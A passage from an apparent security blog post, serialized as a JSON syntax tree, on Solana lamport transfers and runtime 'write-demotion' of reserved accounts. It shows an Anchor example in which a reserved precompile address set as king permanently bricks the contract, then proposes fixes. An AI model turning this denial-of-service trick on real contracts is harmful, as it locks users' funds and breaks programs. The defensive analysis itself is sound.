76488],{"type":29,"value":76489},"demote_program_id",{"type":23,"tag":230,"props":76491,"children":76492},{"style":274},[76493],{"type":29,"value":302},{"type":23,"tag":230,"props":76495,"children":76496},{"style":262},[76497],{"type":29,"value":6074},{"type":23,"tag":230,"props":76499,"children":76500},{"style":274},[76501],{"type":29,"value":4516},{"type":23,"tag":230,"props":76503,"children":76504},{"class":232,"line":471},[76505],{"type":23,"tag":230,"props":76506,"children":76507},{"style":274},[76508],{"type":29,"value":76509},"            })\n",{"type":23,"tag":230,"props":76511,"children":76512},{"class":232,"line":500},[76513,76517,76522,76526,76530,76534,76538,76542],{"type":23,"tag":230,"props":76514,"children":76515},{"style":268},[76516],{"type":29,"value":5506},{"type":23,"tag":230,"props":76518,"children":76519},{"style":294},[76520],{"type":29,"value":76521},"collect",{"type":23,"tag":230,"props":76523,"children":76524},{"style":268},[76525],{"type":29,"value":5818},{"type":23,"tag":230,"props":76527,"children":76528},{"style":274},[76529],{"type":29,"value":8143},{"type":23,"tag":230,"props":76531,"children":76532},{"style":676},[76533],{"type":29,"value":19532},{"type":23,"tag":230,"props":76535,"children":76536},{"style":274},[76537],{"type":29,"value":8143},{"type":23,"tag":230,"props":76539,"children":76540},{"style":262},[76541],{"type":29,"value":5422},{"type":23,"tag":230,"props":76543,"children":76544},{"style":274},[76545],{"type":29,"value":76546},">>();\n",{"type":23,"tag":230,"props":76548,"children":76549},{"class":232,"line":514},[76550,76555],{"type":23,"tag":230,"props":76551,"children":76552},{"style":256},[76553],{"type":29,"value":76554},"        Self",{"type":23,"tag":230,"props":76556,"children":76557},{"style":274},[76558],{"type":29,"value":277},{"type":23,"tag":230,"props":76560,"children":76561},{"class":232,"line":897},[76562,76567,76571,76576,76580,76585,76589,76593],{"type":23,"tag":230,"props":76563,"children":76564},{"style":262},[76565],{"type":29,"value":76566},"            message",{"type":23,"tag":230,"props":76568,"children":76569},{"style":268},[76570],{"type":29,"value":218},{"type":23,"tag":230,"props":76572,"children":76573},{"style":676},[76574],{"type":29,"value":76575}," Cow",{"type":23,"tag":230,"props":76577,"children":76578},{"style":268},[76579],{"type":29,"value":5818},{"type":23,"tag":230,"props":76581,"children":76582},{"style":294},[76583],{"type":29,"value":76584},"Owned",{"type":23,"tag":230,"props":76586,"children":76587},{"style":274},[76588],{"type":29,"value":302},{"type":23,"tag":230,"props":76590,"children":76591},{"style":262},[76592],{"type":29,"value":69813},{"type":23,"tag":230,"props":76594,"children":76595},{"style":274},[76596],{"type":29,"value":331},{"type":23,"tag":230,"props":76598,"children":76599},{"class":232,"line":960},[76600,76605],{"type":23,"tag":230,"props":76601,"children":76602},{"style":262},[76603],{"type":29,"value":76604},"            is_writable_account_cache",{"type":23,"tag":230,"props":76606,"children":76607},{"style":274},[76608],{"type":29,"value":388},{"type":23,"tag":230,"props":76610,"children":76611},{"class":232,"line":969},[76612],{"type":23,"tag":230,"props":76613,"children":76614},{"style":274},[76615],{"type":29,"value":5686},{"type":23,"tag":230,"props":76617,"children":76618},{"class":232,"line":4526},[76619],{"type":23,"tag":230,"props":76620,"children":76621},{"style":274},[76622],{"type":29,"value":1552},{"type":23,"tag":230,"props":76624,"children":76625},{"class":232,"line":4534},[76626],{"type":23,"tag":230,"props":76627,"children":76628},{"style":274},[76629],{"type":29,"value":975},{"type":23,"tag":230,"props":76631,"children":76632},{"class":232,"line":4542},[76633],{"type":23,"tag":230,"props":76634,"children":76635},{"emptyLinePlaceholder":18},[76636],{"type":29,"value":459},{"type":23,"tag":230,"props":76638,"children":76639},{"class":232,"line":4559},[76640],{"type":23,"tag":230,"props":76641,"children":76642},{"style":237},[76643],{"type":29,"value":76644},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":23,"tag":230,"props":76646,"children":76647},{"class":232,"line":4587},[76648,76652,76656,76661,76665,76669,76673,76677,76681,76685,76689,76693,76697,76701],{"type":23,"tag":230,"props":76649,"children":76650},{"style":256},[76651],{"type":29,"value":16017},{"type":23,"tag":230,"props":76653,"children":76654},{"style":256},[76655],{"type":29,"value":16022},{"type":23,"tag":230,"props":76657,"children":76658},{"style":294},[76659],{"type":29,"value":76660}," demote_program_id",{"type":23,"tag":230,"props":76662,"children":76663},{"style":274},[76664],{"type":29,"value":302},{"type":23,"tag":230,"props":76666,"children":76667},{"style":268},[76668],{"type":29,"value":5448},{"type":23,"tag":230,"props":76670,"children":76671},{"style":256},[76672],{"type":29,"value":16040},{"type":23,"tag":230,"props":76674,"children":76675},{"style":274},[76676],{"type":29,"value":684},{"type":23,"tag":230,"props":76678,"children":76679},{"style":262},[76680],{"type":29,"value":6074},{"type":23,"tag":230,"props":76682,"children":76683},{"style":268},[76684],{"type":29,"value":218},{"type":23,"tag":230,"props":76686,"children":76687},{"style":676},[76688],{"type":29,"value":16058},{"type":23,"tag":230,"props":76690,"children":76691},{"style":274},[76692],{"type":29,"value":703},{"type":23,"tag":230,"props":76694,"children":76695},{"style":268},[76696],{"type":29,"value":16084},{"type":23,"tag":230,"props":76698,"children":76699},{"style":676},[76700],{"type":29,"value":14381},{"type":23,"tag":230,"props":76702,"children":76703},{"style":274},[76704],{"type":29,"value":277},{"type":23,"tag":230,"props":76706,"children":76707},{"class":232,"line":4595},[76708,76712,76716,76721,76725,76729,76733,76737,76741,76745,76749,76754],{"type":23,"tag":230,"props":76709,"children":76710},{"style":256},[76711],{"type":29,"value":23101},{"type":23,"tag":230,"props":76713,"children":76714},{"style":268},[76715],{"type":29,"value":312},{"type":23,"tag":230,"props":76717,"children":76718},{"style":294},[76719],{"type":29,"value":76720},"is_key_called_as_program",{"type":23,"tag":230,"props":76722,"children":76723},{"style":274},[76724],{"type":29,"value":302},{"type":23,"tag":230,"props":76726,"children":76727},{"style":262},[76728],{"type":29,"value":6074},{"type":23,"tag":230,"props":76730,"children":76731},{"style":274},[76732],{"type":29,"value":703},{"type":23,"tag":230,"props":76734,"children":76735},{"style":268},[76736],{"type":29,"value":74974},{"type":23,"tag":230,"props":76738,"children":76739},{"style":268},[76740],{"type":29,"value":15193},{"type":23,"tag":230,"props":76742,"children":76743},{"style":256},[76744],{"type":29,"value":16040},{"type":23,"tag":230,"props":76746,"children":76747},{"style":268},[76748],{"type":29,"value":312},{"type":23,"tag":230,"props":76750,"children":76751},{"style":294},[76752],{"type":29,"value":76753},"is_upgradeable_loader_present",{"type":23,"tag":230,"props":76755,"children":76756},{"style":274},[76757],{"type":29,"value":10072},{"type":23,"tag":230,"props":76759,"children":76760},{"class":232,"line":4619},[76761],{"type":23,"tag":230,"props":76762,"children":76763},{"style":274},[76764],{"type":29,"value":975},{"type":23,"tag":32,"props":76766,"children":76767},{},[76768],{"type":29,"value":76769},"As you can see, there are two main causes of write-demotion:",{"type":23,"tag":144,"props":76771,"children":76772},{},[76773,76785],{"type":23,"tag":102,"props":76774,"children":76775},{},[76776,76778],{"type":29,"value":76777},"The account appears in the ",{"type":23,"tag":181,"props":76779,"children":76782},{"href":76780,"rel":76781},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[185],[76783],{"type":29,"value":76784},"reserved account list",{"type":23,"tag":102,"props":76786,"children":76787},{},[76788],{"type":29,"value":76789},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":23,"tag":32,"props":76791,"children":76792},{},[76793],{"type":29,"value":76794},"The second case is generally covered by the executable check implemented previously.",{"type":23,"tag":32,"props":76796,"children":76797},{},[76798],{"type":29,"value":76799},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":23,"tag":192,"props":76801,"children":76803},{"id":76802},"the-reserved-account-list",[76804],{"type":29,"value":76805},"The Reserved Account List",{"type":23,"tag":32,"props":76807,"children":76808},{},[76809,76811,76816],{"type":29,"value":76810},"The Solana runtime maintains a ",{"type":23,"tag":181,"props":76812,"children":76814},{"href":76780,"rel":76813},[185],[76815],{"type":29,"value":76784},{"type":29,"value":76817},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":23,"tag":32,"props":76819,"children":76820},{},[76821,76823,76830,76832,76837],{"type":29,"value":76822},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":23,"tag":181,"props":76824,"children":76827},{"href":76825,"rel":76826},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[185],[76828],{"type":29,"value":76829},"feature gate is actived",{"type":29,"value":76831},", the runtime will ",{"type":23,"tag":2302,"props":76833,"children":76834},{},[76835],{"type":29,"value":76836},"automatically demote them to read-only",{"type":29,"value":76838},", even if the transaction marked them as writable.",{"type":23,"tag":220,"props":76840,"children":76842},{"className":5320,"code":76841,"language":5319,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n    let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n    reserved_keys.update_active_set(&self.feature_set);\n    Arc::new(reserved_keys)\n};\n",[76843],{"type":23,"tag":71,"props":76844,"children":76845},{"__ignoreMap":7},[76846,76854,76862,76886,76940,76978,77007],{"type":23,"tag":230,"props":76847,"children":76848},{"class":232,"line":233},[76849],{"type":23,"tag":230,"props":76850,"children":76851},{"style":237},[76852],{"type":29,"value":76853},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":23,"tag":230,"props":76855,"children":76856},{"class":232,"line":243},[76857],{"type":23,"tag":230,"props":76858,"children":76859},{"style":237},[76860],{"type":29,"value":76861},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":23,"tag":230,"props":76863,"children":76864},{"class":232,"line":252},[76865,76869,76873,76878,76882],{"type":23,"tag":230,"props":76866,"children":76867},{"style":256},[76868],{"type":29,"value":16040},{"type":23,"tag":230,"props":76870,"children":76871},{"style":268},[76872],{"type":29,"value":312},{"type":23,"tag":230,"props":76874,"children":76875},{"style":274},[76876],{"type":29,"value":76877},"reserved_account_keys ",{"type":23,"tag":230,"props":76879,"children":76880},{"style":268},[76881],{"type":29,"value":863},{"type":23,"tag":230,"props":76883,"children":76884},{"style":274},[76885],{"type":29,"value":277},{"type":23,"tag":230,"props":76887,"children":76888},{"class":232,"line":280},[76889,76893,76897,76902,76906,76911,76915,76919,76923,76927,76931,76935],{"type":23,"tag":230,"props":76890,"children":76891},{"style":256},[76892],{"type":29,"value":5340},{"type":23,"tag":230,"props":76894,"children":76895},{"style":256},[76896],{"type":29,"value":5345},{"type":23,"tag":230,"props":76898,"children":76899},{"style":262},[76900],{"type":29,"value":76901}," reserved_keys",{"type":23,"tag":230,"props":76903,"children":76904},{"style":268},[76905],{"type":29,"value":271},{"type":23,"tag":230,"props":76907,"children":76908},{"style":676},[76909],{"type":29,"value":76910}," ReservedAccountKeys",{"type":23,"tag":230,"props":76912,"children":76913},{"style":268},[76914],{"type":29,"value":5818},{"type":23,"tag":230,"props":76916,"children":76917},{"style":294},[76918],{"type":29,"value":17744},{"type":23,"tag":230,"props":76920,"children":76921},{"style":274},[76922],{"type":29,"value":302},{"type":23,"tag":230,"props":76924,"children":76925},{"style":268},[76926],{"type":29,"value":5448},{"type":23,"tag":230,"props":76928,"children":76929},{"style":256},[76930],{"type":29,"value":16040},{"type":23,"tag":230,"props":76932,"children":76933},{"style":268},[76934],{"type":29,"value":312},{"type":23,"tag":230,"props":76936,"children":76937},{"style":274},[76938],{"type":29,"value":76939},"reserved_account_keys);\n",{"type":23,"tag":230,"props":76941,"children":76942},{"class":232,"line":334},[76943,76948,76952,76957,76961,76965,76969,76973],{"type":23,"tag":230,"props":76944,"children":76945},{"style":262},[76946],{"type":29,"value":76947},"    reserved_keys",{"type":23,"tag":230,"props":76949,"children":76950},{"style":268},[76951],{"type":29,"value":312},{"type":23,"tag":230,"props":76953,"children":76954},{"style":294},[76955],{"type":29,"value":76956},"update_active_set",{"type":23,"tag":230,"props":76958,"children":76959},{"style":274},[76960],{"type":29,"value":302},{"type":23,"tag":230,"props":76962,"children":76963},{"style":268},[76964],{"type":29,"value":5448},{"type":23,"tag":230,"props":76966,"children":76967},{"style":256},[76968],{"type":29,"value":16040},{"type":23,"tag":230,"props":76970,"children":76971},{"style":268},[76972],{"type":29,"value":312},{"type":23,"tag":230,"props":76974,"children":76975},{"style":274},[76976],{"type":29,"value":76977},"feature_set);\n",{"type":23,"tag":230,"props":76979,"children":76980},{"class":232,"line":371},[76981,76986,76990,76994,76998,77003],{"type":23,"tag":230,"props":76982,"children":76983},{"style":676},[76984],{"type":29,"value":76985},"    Arc",{"type":23,"tag":230,"props":76987,"children":76988},{"style":268},[76989],{"type":29,"value":5818},{"type":23,"tag":230,"props":76991,"children":76992},{"style":294},[76993],{"type":29,"value":17448},{"type":23,"tag":230,"props":76995,"children":76996},{"style":274},[76997],{"type":29,"value":302},{"type":23,"tag":230,"props":76999,"children":77000},{"style":262},[77001],{"type":29,"value":77002},"reserved_keys",{"type":23,"tag":230,"props":77004,"children":77005},{"style":274},[77006],{"type":29,"value":4516},{"type":23,"tag":230,"props":77008,"children":77009},{"class":232,"line":391},[77010],{"type":23,"tag":230,"props":77011,"children":77012},{"style":274},[77013],{"type":29,"value":450},{"type":23,"tag":192,"props":77015,"children":77017},{"id":77016},"consequences-silent-failures-and-bricked-programs",[77018],{"type":29,"value":77019},"Consequences: Silent Failures and Bricked Programs",{"type":23,"tag":32,"props":77021,"children":77022},{},[77023],{"type":29,"value":77024},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":23,"tag":220,"props":77026,"children":77028},{"className":5320,"code":77027,"language":5319,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n",[77029],{"type":23,"tag":71,"props":77030,"children":77031},{"__ignoreMap":7},[77032,77047,77074,77089,77128,77135,77182,77213,77220,77235,77266,77273,77288,77319],{"type":23,"tag":230,"props":77033,"children":77034},{"class":232,"line":233},[77035,77039,77043],{"type":23,"tag":230,"props":77036,"children":77037},{"style":274},[77038],{"type":29,"value":25152},{"type":23,"tag":230,"props":77040,"children":77041},{"style":676},[77042],{"type":29,"value":25157},{"type":23,"tag":230,"props":77044,"children":77045},{"style":274},[77046],{"type":29,"value":22573},{"type":23,"tag":230,"props":77048,"children":77049},{"class":232,"line":243},[77050,77054,77058,77062,77066,77070],{"type":23,"tag":230,"props":77051,"children":77052},{"style":256},[77053],{"type":29,"value":16017},{"type":23,"tag":230,"props":77055,"children":77056},{"style":256},[77057],{"type":29,"value":23465},{"type":23,"tag":230,"props":77059,"children":77060},{"style":676},[77061],{"type":29,"value":73087},{"type":23,"tag":230,"props":77063,"children":77064},{"style":274},[77065],{"type":29,"value":25237},{"type":23,"tag":230,"props":77067,"children":77068},{"style":676},[77069],{"type":29,"value":25242},{"type":23,"tag":230,"props":77071,"children":77072},{"style":274},[77073],{"type":29,"value":9617},{"type":23,"tag":230,"props":77075,"children":77076},{"class":232,"line":252},[77077,77081,77085],{"type":23,"tag":230,"props":77078,"children":77079},{"style":274},[77080],{"type":29,"value":25444},{"type":23,"tag":230,"props":77082,"children":77083},{"style":256},[77084],{"type":29,"value":6059},{"type":23,"tag":230,"props":77086,"children":77087},{"style":274},[77088],{"type":29,"value":22573},{"type":23,"tag":230,"props":77090,"children":77091},{"class":232,"line":280},[77092,77096,77100,77104,77108,77112,77116,77120,77124],{"type":23,"tag":230,"props":77093,"children":77094},{"style":256},[77095],{"type":29,"value":23158},{"type":23,"tag":230,"props":77097,"children":77098},{"style":262},[77099],{"type":29,"value":73126},{"type":23,"tag":230,"props":77101,"children":77102},{"style":268},[77103],{"type":29,"value":218},{"type":23,"tag":230,"props":77105,"children":77106},{"style":676},[77107],{"type":29,"value":25409},{"type":23,"tag":230,"props":77109,"children":77110},{"style":274},[77111],{"type":29,"value":25237},{"type":23,"tag":230,"props":77113,"children":77114},{"style":676},[77115],{"type":29,"value":25242},{"type":23,"tag":230,"props":77117,"children":77118},{"style":274},[77119],{"type":29,"value":684},{"type":23,"tag":230,"props":77121,"children":77122},{"style":676},[77123],{"type":29,"value":73151},{"type":23,"tag":230,"props":77125,"children":77126},{"style":274},[77127],{"type":29,"value":8475},{"type":23,"tag":230,"props":77129,"children":77130},{"class":232,"line":334},[77131],{"type":23,"tag":230,"props":77132,"children":77133},{"emptyLinePlaceholder":18},[77134],{"type":29,"value":459},{"type":23,"tag":230,"props":77136,"children":77137},{"class":232,"line":371},[77138,77142,77146,77150,77154,77158,77162,77166,77170,77174,77178],{"type":23,"tag":230,"props":77139,"children":77140},{"style":274},[77141],{"type":29,"value":25444},{"type":23,"tag":230,"props":77143,"children":77144},{"style":256},[77145],{"type":29,"value":6059},{"type":23,"tag":230,"props":77147,"children":77148},{"style":274},[77149],{"type":29,"value":73186},{"type":23,"tag":230,"props":77151,"children":77152},{"style":268},[77153],{"type":29,"value":863},{"type":23,"tag":230,"props":77155,"children":77156},{"style":274},[77157],{"type":29,"value":73195},{"type":23,"tag":230,"props":77159,"children":77160},{"style":268},[77161],{"type":29,"value":312},{"type":23,"tag":230,"props":77163,"children":77164},{"style":274},[77165],{"type":29,"value":73204},{"type":23,"tag":230,"props":77167,"children":77168},{"style":268},[77169],{"type":29,"value":10911},{"type":23,"tag":230,"props":77171,"children":77172},{"style":274},[77173],{"type":29,"value":73126},{"type":23,"tag":230,"props":77175,"children":77176},{"style":268},[77177],{"type":29,"value":312},{"type":23,"tag":230,"props":77179,"children":77180},{"style":274},[77181],{"type":29,"value":73221},{"type":23,"tag":230,"props":77183,"children":77184},{"class":232,"line":391},[77185,77189,77193,77197,77201,77205,77209],{"type":23,"tag":230,"props":77186,"children":77187},{"style":256},[77188],{"type":29,"value":23158},{"type":23,"tag":230,"props":77190,"children":77191},{"style":262},[77192],{"type":29,"value":73195},{"type":23,"tag":230,"props":77194,"children":77195},{"style":268},[77196],{"type":29,"value":218},{"type":23,"tag":230,"props":77198,"children":77199},{"style":676},[77200],{"type":29,"value":27705},{"type":23,"tag":230,"props":77202,"children":77203},{"style":274},[77204],{"type":29,"value":25237},{"type":23,"tag":230,"props":77206,"children":77207},{"style":676},[77208],{"type":29,"value":25242},{"type":23,"tag":230,"props":77210,"children":77211},{"style":274},[77212],{"type":29,"value":8475},{"type":23,"tag":230,"props":77214,"children":77215},{"class":232,"line":400},[77216],{"type":23,"tag":230,"props":77217,"children":77218},{"emptyLinePlaceholder":18},[77219],{"type":29,"value":459},{"type":23,"tag":230,"props":77221,"children":77222},{"class":232,"line":444},[77223,77227,77231],{"type":23,"tag":230,"props":77224,"children":77225},{"style":274},[77226],{"type":29,"value":25444},{"type":23,"tag":230,"props":77228,"children":77229},{"style":256},[77230],{"type":29,"value":6059},{"type":23,"tag":230,"props":77232,"children":77233},{"style":274},[77234],{"type":29,"value":22573},{"type":23,"tag":230,"props":77236,"children":77237},{"class":232,"line":453},[77238,77242,77246,77250,77254,77258,77262],{"type":23,"tag":230,"props":77239,"children":77240},{"style":256},[77241],{"type":29,"value":23158},{"type":23,"tag":230,"props":77243,"children":77244},{"style":262},[77245],{"type":29,"value":73294},{"type":23,"tag":230,"props":77247,"children":77248},{"style":268},[77249],{"type":29,"value":218},{"type":23,"tag":230,"props":77251,"children":77252},{"style":676},[77253],{"type":29,"value":27705},{"type":23,"tag":230,"props":77255,"children":77256},{"style":274},[77257],{"type":29,"value":25237},{"type":23,"tag":230,"props":77259,"children":77260},{"style":676},[77261],{"type":29,"value":25242},{"type":23,"tag":230,"props":77263,"children":77264},{"style":274},[77265],{"type":29,"value":8475},{"type":23,"tag":230,"props":77267,"children":77268},{"class":232,"line":462},[77269],{"type":23,"tag":230,"props":77270,"children":77271},{"emptyLinePlaceholder":18},[77272],{"type":29,"value":459},{"type":23,"tag":230,"props":77274,"children":77275},{"class":232,"line":471},[77276,77280,77284],{"type":23,"tag":230,"props":77277,"children":77278},{"style":274},[77279],{"type":29,"value":25444},{"type":23,"tag":230,"props":77281,"children":77282},{"style":256},[77283],{"type":29,"value":6059},{"type":23,"tag":230,"props":77285,"children":77286},{"style":274},[77287],{"type":29,"value":22573},{"type":23,"tag":230,"props":77289,"children":77290},{"class":232,"line":500},[77291,77295,77299,77303,77307,77311,77315],{"type":23,"tag":230,"props":77292,"children":77293},{"style":256},[77294],{"type":29,"value":23158},{"type":23,"tag":230,"props":77296,"children":77297},{"style":262},[77298],{"type":29,"value":44008},{"type":23,"tag":230,"props":77300,"children":77301},{"style":268},[77302],{"type":29,"value":218},{"type":23,"tag":230,"props":77304,"children":77305},{"style":676},[77306],{"type":29,"value":25473},{"type":23,"tag":230,"props":77308,"children":77309},{"style":274},[77310],{"type":29,"value":25237},{"type":23,"tag":230,"props":77312,"children":77313},{"style":676},[77314],{"type":29,"value":25242},{"type":23,"tag":230,"props":77316,"children":77317},{"style":274},[77318],{"type":29,"value":8475},{"type":23,"tag":230,"props":77320,"children":77321},{"class":232,"line":514},[77322],{"type":23,"tag":230,"props":77323,"children":77324},{"style":274},[77325],{"type":29,"value":975},{"type":23,"tag":32,"props":77327,"children":77328},{},[77329,77331,77337,77339,77345],{"type":29,"value":77330},"This works fine — until one day, ",{"type":23,"tag":71,"props":77332,"children":77334},{"className":77333},[],[77335],{"type":29,"value":77336},"old_king",{"type":29,"value":77338}," is silently demoted. Suddenly, the ",{"type":23,"tag":71,"props":77340,"children":77342},{"className":77341},[],[77343],{"type":29,"value":77344},"#[account(mut)]",{"type":29,"value":77346}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":23,"tag":192,"props":77348,"children":77350},{"id":77349},"real-world-example-write-demotion-with-secp256r1_program",[77351,77353],{"type":29,"value":77352},"Real-World Example: Write-Demotion with ",{"type":23,"tag":71,"props":77354,"children":77356},{"className":77355},[],[77357],{"type":29,"value":77358},"secp256r1_program",{"type":23,"tag":32,"props":77360,"children":77361},{},[77362,77364,77369],{"type":29,"value":77363},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":23,"tag":71,"props":77365,"children":77367},{"className":77366},[],[77368],{"type":29,"value":77358},{"type":29,"value":77370},", a precompiled program gated behind a feature flag:",{"type":23,"tag":220,"props":77372,"children":77374},{"className":5320,"code":77373,"language":5319,"meta":7,"style":7},"ReservedAccount::new_pending(\n    secp256r1_program::id(),\n    feature_set::enable_secp256r1_precompile::id(),\n)\n",[77375],{"type":23,"tag":71,"props":77376,"children":77377},{"__ignoreMap":7},[77378,77399,77419,77448],{"type":23,"tag":230,"props":77379,"children":77380},{"class":232,"line":233},[77381,77386,77390,77395],{"type":23,"tag":230,"props":77382,"children":77383},{"style":676},[77384],{"type":29,"value":77385},"ReservedAccount",{"type":23,"tag":230,"props":77387,"children":77388},{"style":268},[77389],{"type":29,"value":5818},{"type":23,"tag":230,"props":77391,"children":77392},{"style":294},[77393],{"type":29,"value":77394},"new_pending",{"type":23,"tag":230,"props":77396,"children":77397},{"style":274},[77398],{"type":29,"value":619},{"type":23,"tag":230,"props":77400,"children":77401},{"class":232,"line":243},[77402,77407,77411,77415],{"type":23,"tag":230,"props":77403,"children":77404},{"style":274},[77405],{"type":29,"value":77406},"    secp256r1_program",{"type":23,"tag":230,"props":77408,"children":77409},{"style":268},[77410],{"type":29,"value":5818},{"type":23,"tag":230,"props":77412,"children":77413},{"style":294},[77414],{"type":29,"value":1437},{"type":23,"tag":230,"props":77416,"children":77417},{"style":274},[77418],{"type":29,"value":5827},{"type":23,"tag":230,"props":77420,"children":77421},{"class":232,"line":252},[77422,77427,77431,77436,77440,77444],{"type":23,"tag":230,"props":77423,"children":77424},{"style":274},[77425],{"type":29,"value":77426},"    feature_set",{"type":23,"tag":230,"props":77428,"children":77429},{"style":268},[77430],{"type":29,"value":5818},{"type":23,"tag":230,"props":77432,"children":77433},{"style":274},[77434],{"type":29,"value":77435},"enable_secp256r1_precompile",{"type":23,"tag":230,"props":77437,"children":77438},{"style":268},[77439],{"type":29,"value":5818},{"type":23,"tag":230,"props":77441,"children":77442},{"style":294},[77443],{"type":29,"value":1437},{"type":23,"tag":230,"props":77445,"children":77446},{"style":274},[77447],{"type":29,"value":5827},{"type":23,"tag":230,"props":77449,"children":77450},{"class":232,"line":280},[77451],{"type":23,"tag":230,"props":77452,"children":77453},{"style":274},[77454],{"type":29,"value":4516},{"type":23,"tag":32,"props":77456,"children":77457},{},[77458,77460,77465,77467,77473],{"type":29,"value":77459},"Before the ",{"type":23,"tag":71,"props":77461,"children":77463},{"className":77462},[],[77464],{"type":29,"value":77435},{"type":29,"value":77466}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":23,"tag":71,"props":77468,"children":77470},{"className":77469},[],[77471],{"type":29,"value":77472},"secp256r1_program::id()",{"type":29,"value":77474}," as the king in a contract.",{"type":23,"tag":32,"props":77476,"children":77477},{},[77478,77480,77485],{"type":29,"value":77479},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":23,"tag":71,"props":77481,"children":77483},{"className":77482},[],[77484],{"type":29,"value":77472},{"type":29,"value":77486}," becomes the eternal king, and no one can dethrone it.",{"type":23,"tag":192,"props":77488,"children":77490},{"id":77489},"fix-3-preventing-write-demotion-pitfalls",[77491],{"type":29,"value":77492},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":23,"tag":32,"props":77494,"children":77495},{},[77496,77498,77503],{"type":29,"value":77497},"Alright, let’s try to fix this ",{"type":23,"tag":2258,"props":77499,"children":77500},{},[77501],{"type":29,"value":77502},"yet another",{"type":29,"value":77504}," edge case — and hopefully close the book on it.",{"type":23,"tag":192,"props":77506,"children":77508},{"id":77507},"attempt-1-block-known-reserved-accounts",[77509],{"type":29,"value":77510},"Attempt 1: Block Known Reserved Accounts",{"type":23,"tag":32,"props":77512,"children":77513},{},[77514],{"type":29,"value":77515},"One naive solution is to reject any known reserved account, for example:",{"type":23,"tag":220,"props":77517,"children":77519},{"className":5113,"code":77518,"language":5115,"meta":7,"style":7},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[77520],{"type":23,"tag":71,"props":77521,"children":77522},{"__ignoreMap":7},[77523,77531],{"type":23,"tag":230,"props":77524,"children":77525},{"class":232,"line":233},[77526],{"type":23,"tag":230,"props":77527,"children":77528},{"style":274},[77529],{"type":29,"value":77530},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":23,"tag":230,"props":77532,"children":77533},{"class":232,"line":243},[77534],{"type":23,"tag":230,"props":77535,"children":77536},{"style":5149},[77537],{"type":29,"value":77538},"+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":23,"tag":32,"props":77540,"children":77541},{},[77542,77544,77549],{"type":29,"value":77543},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":23,"tag":71,"props":77545,"children":77547},{"className":77546},[],[77548],{"type":29,"value":77385},{"type":29,"value":77550}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":23,"tag":192,"props":77552,"children":77554},{"id":77553},"attempt-2-use-a-pda-vault",[77555],{"type":29,"value":77556},"Attempt 2: Use a PDA Vault",{"type":23,"tag":32,"props":77558,"children":77559},{},[77560,77562,77567],{"type":29,"value":77561},"A more future-proof fix is to avoid ",{"type":23,"tag":2302,"props":77563,"children":77564},{},[77565],{"type":29,"value":77566},"transferring lamports to arbitrary accounts",{"type":29,"value":77568}," altogether.",{"type":23,"tag":32,"props":77570,"children":77571},{},[77572],{"type":29,"value":77573},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":23,"tag":24,"props":77575,"children":77577},{"id":77576},"final-thoughts",[77578],{"type":29,"value":77579},"Final Thoughts",{"type":23,"tag":32,"props":77581,"children":77582},{},[77583],{"type":29,"value":77584},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":23,"tag":32,"props":77586,"children":77587},{},[77588],{"type":29,"value":77589},"We can safely transfer lamports to an account under the following conditions:",{"type":23,"tag":98,"props":77591,"children":77592},{},[77593,77598,77603],{"type":23,"tag":102,"props":77594,"children":77595},{},[77596],{"type":29,"value":77597},"It's not executable.",{"type":23,"tag":102,"props":77599,"children":77600},{},[77601],{"type":29,"value":77602},"Its balance, after the transfer, remains rent-exempt.",{"type":23,"tag":102,"props":77604,"children":77605},{},[77606],{"type":29,"value":77607},"It's not a reserved account.",{"type":23,"tag":32,"props":77609,"children":77610},{},[77611],{"type":29,"value":77612},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip 